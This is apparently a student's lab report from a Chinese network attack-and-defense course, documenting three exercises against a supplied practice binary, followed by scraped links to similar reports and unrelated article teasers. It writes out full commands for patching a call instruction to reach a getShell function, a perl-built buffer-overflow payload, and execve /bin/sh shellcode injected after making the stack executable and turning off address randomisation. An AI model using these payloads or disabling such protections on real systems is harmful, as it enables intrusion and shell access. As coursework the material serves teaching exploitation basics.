2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
实验1-1直接修改程序机器指令,改变程序执行流程
先输入objdump -d 20165305pwn2查看反汇编代码,然后查看机器指令,找到并根据机器指令计算出要篡改的目标地址。
我们可以从下图中看到call 804891的
机器码指令为e8 d7 ff ff ff,然后我们可以通过知道,只要把d7改为c3就可以在运行文件时调用getshell。
以下是我要执行的一系列指令
首先输入vi 20165305pwn2(进入编辑文件模式)——>:%!xxd(将文件转换为16进制)——>/e8 d7(找到对应的机器指令)——>先点击回车,然后修改d7为c3——>:%!xxd -r(将16进制数转换为原来的样子)——>:wq(保存)——>./20165305pwn2(运行文件)——>ls(执行ls功能,看实验是否成功)。




实验1-2通过构造输入参数,造成BOF攻击,改变程序执行流
在课上老师为我们演示了如何知道应该输入多少位数才能够覆盖返回地址,在这里我就不多说了。
getShell的内存地址,通过反汇编时可以看到,即0804847d。
以下是我执行的一系列指令:
gdb 20165305pwn2(进入gdb调试)——>r——>输入111111112222222233333333444444441234这36位数(测试是否会造成缓冲区溢出),查看是哪几位数造成缓冲区溢出——>退出gdb调试——>perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(用getShell的内存地址代替1234,因为终端不让输入地址,所以构造一个input文件)——>(cat input;cat) | ./20165305pwn2(执行程序)——>ls(查看是否攻击成功)。
之前我尝试了一下输入的数字位数大于36位看可不可以覆盖返回地址,但是总会报错,好像是不让执行,所以我就直接入了36位数字


实验1-3注入Shellcode并执行
目的:为了直接在终端注入一段机器指令,获取一个交互式的shell
以下是我执行的一系列指令
apt-get install execstack(安装execstack)——>execstack -s 20165305pwn2(设置堆栈可执行)设置堆栈可执行 ——>execstack -q 20165305pwn2 (查询文件的堆栈是否可执行)——>echo "0" > /proc/sys/kernel/randomize_va_space (关闭地址随机化)——>perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode(编写shellcode) ——>(cat input_shellcode;cat) | ./20165305pwn2(注入shellcode)——>打开另一个终端,输入口ps -ef | grep 201653056pwn2——>attach 进程号——> disassemble foo(反编译)——>break *0x080484ae(设置断点)——>c——>info r esp(查看esp)——>x/16x 0xbffff25c(根据地址,查看其存放内容)——>退出gdb调试——>perl -e 'print "A" x 32;print "\x60\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode(根据地址计算出要注入的地址,并编写input_shellcode)——>xxd input_shellcode——>(cat input_shellcode;cat) | ./20165305pwn2(注入shellcode)——>回车输入ls查看结果。


问题
什么是漏洞?漏洞有什么危害?
我认为漏洞就是在使用程序的过程中暴露出来的一些问题,这是由于在设计程序时没有考虑到的不足之处。
危害:我认为一般可以通过漏洞使程序崩溃、瘫痪,还可以通过漏洞获取一定的非法权限等等。
实验收获与感想
通过本次实验,让我掌握了缓冲区溢出攻击的一些基本知识与操作,并且为以后的学习打下了基础。为了掌握更多的知识,今后我会更加努力地学习。
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
- 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...
随机推荐
- Hadoop双namenode配置搭建(HA)
配置双namenode的目的就是为了防错,防止一个namenode挂掉数据丢失,具体原理本文不详细讲解,这里只说明具体的安装过程. Hadoop HA的搭建是基于Zookeeper的,关于Zookee ...
- [LeetCode] Similar RGB Color 相似的红绿蓝颜色
In the following, every capital letter represents some hexadecimal digit from 0 to f. The red-green- ...
- 严重: StandardWrapper.Throwable org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'goodsController' defined in file [D:\eclipse\eclipse-space\pinyougou_parent\pinyou
由于错误太宽,没法截取完整的,所以不怎么连贯,但是不影响错误的解决. 这个错误是因为service无法自动注入.显示嵌套状态异常. 我就查看了一下我的坐标和配置文件,配置文件的路径和访问地址都是正确的 ...
- Vs Code 中文包设置
首先打开Vs Code 然后点击扩展 下载中文包 安装中文包 在没打开任何文件的时候我们可以看到一些提示 这个时候使用快捷键 Ctrl + Shift + P (显示所有命令),然后选择" ...
- python中关于汉诺塔问题和使用turtle库实现其搬运过程
一.汉诺塔问题 汉诺塔(又称河内塔)问题是源于印度一个古老传说的益智玩具.大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘.大梵天命令婆罗门把圆盘从下面开始按 ...
- [dev][crypto][strongswan] 有关strongswan的forward policy的源码分析
一 默认情况下,我们使用strongswan建立了一个ipsec隧道之后,建立的policy如下: [root@D129 OUTPUT]# ip xfrm policy src dst dir pty ...
- YOLO V3 错误总结
问题1 TypeError: function takes exactly 1 argument (3 given) 报错说PIL库中的函数只接收到一个参数,应该给三个,自己在这里记录下解决方法,出错 ...
- net-tools与iproute2
net-tools与iproute2 我们知道redhat系列发行版7x版本中最小化安装是没有net-tools工具包的,默认使用iproute2工具包,最直观的感受是ifconfig命令被ip命令所 ...
- python 函数enumerate(x,y)的用法
enumerate(x,y)函数是把元组tuple.字符串str.列表list里面的元素遍历和索引组合,其用法与range()函数很相似, 下面示例enumerate(x,y)用法以及range(x) ...
- Mockito单元测试实战
最近使用Mockito完成了几个简单的测试,写个博客mark一下: 第一种模拟web请求 @SpringBootTest @RunWith(SpringRunner.class) @WebAppCon ...